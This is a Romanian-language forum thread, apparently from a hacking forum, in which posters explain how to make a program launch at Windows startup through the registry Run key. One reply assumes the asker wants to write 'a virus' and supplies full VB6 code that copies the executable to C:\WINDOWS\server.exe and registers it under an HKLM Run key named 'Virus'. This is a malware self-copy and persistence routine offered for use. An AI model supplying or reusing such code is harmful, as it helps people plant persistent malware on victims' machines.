Jump to content
lucian.m

dupa.

Recommended Posts

nu il poti face sa aibe un proces "imun", insa chestia cu startup-ul se poate, din registry si anume: deschizi CMD si scrii: "regedit", apoi mergi la HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run si il adaugi acolo

Edit:daca vrei sa introduci chestia asta in codul sursa, folosesti RegWrite si scrii in registry la HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\ un regkey a carui valoare e locatia executabilului

Edited by CeeJay
Link to comment
Share on other sites

1. parca in vb.net e regwrite el cred ca foloseste vb 6 , acolo tre sa "declari" chestiile alea pt lucru cu registri

in afara de API-uri poate folosi si WScript

2.el sigur vrea sa faca "un virus" , pui sa se copie intr-un folder si sa adauge in regsitri adresa unde sa copiat

in cazul asta i-am scris eu tot codul:

Private Sub Form_Load()

FileCopy App.Path & "/" & App.EXEName & ".exe", "C:\WINDOWS\server.exe" ' Se copiaza in C:\WINDOWS cu numele "server.exe"

Dim startup 'se declara variabila "startup"
Set startup = CreateObject("WScript.Shell") ' Se creeaza obiectul WScript
startup.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Virus", "C:\WINDOWS\server.exe" 'se scrie in regisry key-ul "Virus", care va avea ca valoare locatia scrisa mai sus (C:\WINDOWS\server.exe)

End Sub

3.revin cand o sa fiu treaz =))

ahahahahhahaha :))

Edited by CeeJay
Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...